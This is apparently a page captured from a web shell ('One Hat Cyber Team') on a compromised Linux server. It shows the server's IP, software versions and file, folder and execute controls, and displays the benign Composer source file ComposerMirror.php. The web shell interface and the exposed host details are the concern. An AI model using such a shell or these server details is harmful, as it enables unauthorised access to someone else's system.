⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.14
Server IP:
45.79.8.107
Server:
Linux localhost 5.15.0-140-generic #150-Ubuntu SMP Sat Apr 12 06:00:09 UTC 2025 x86_64
Server Software:
nginx/1.18.0
PHP Version:
8.1.2-1ubuntu2.21
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
proc
/
self
/
root
/
usr
/
share
/
php
/
Composer
/
Util
/
View File Name :
ComposerMirror.php
* Jordi Boggiano
* * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Composer\Util; use Composer\Pcre\Preg; /** * Composer mirror utilities * * @author Jordi Boggiano
*/ class ComposerMirror { /** * @param string $mirrorUrl * @param string $packageName * @param string $version * @param string|null $reference * @param string|null $type * @param string|null $prettyVersion * * @return string */ public static function processUrl($mirrorUrl, $packageName, $version, $reference, $type, $prettyVersion = null) { if ($reference) { $reference = Preg::isMatch('{^([a-f0-9]*|%reference%)$}', $reference) ? $reference : md5($reference); } $version = strpos($version, '/') === false ? $version : md5($version); $from = array('%package%', '%version%', '%reference%', '%type%'); $to = array($packageName, $version, $reference, $type); if (null !== $prettyVersion) { $from[] = '%prettyVersion%'; $to[] = $prettyVersion; } return str_replace($from, $to, $mirrorUrl); } /** * @param string $mirrorUrl * @param string $packageName * @param string $url * @param string|null $type * * @return string */ public static function processGitUrl($mirrorUrl, $packageName, $url, $type) { if (Preg::isMatch('#^(?:(?:https?|git)://github\.com/|git@github\.com:)([^/]+)/(.+?)(?:\.git)?$#', $url, $match)) { $url = 'gh-'.$match[1].'/'.$match[2]; } elseif (Preg::isMatch('#^https://bitbucket\.org/([^/]+)/(.+?)(?:\.git)?/?$#', $url, $match)) { $url = 'bb-'.$match[1].'/'.$match[2]; } else { $url = Preg::replace('{[^a-z0-9_.-]}i', '-', trim($url, '/')); } return str_replace( array('%package%', '%normalizedUrl%', '%type%'), array($packageName, $url, $type), $mirrorUrl ); } /** * @param string $mirrorUrl * @param string $packageName * @param string $url * @param string $type * * @return string */ public static function processHgUrl($mirrorUrl, $packageName, $url, $type) { return self::processGitUrl($mirrorUrl, $packageName, $url, $type); } }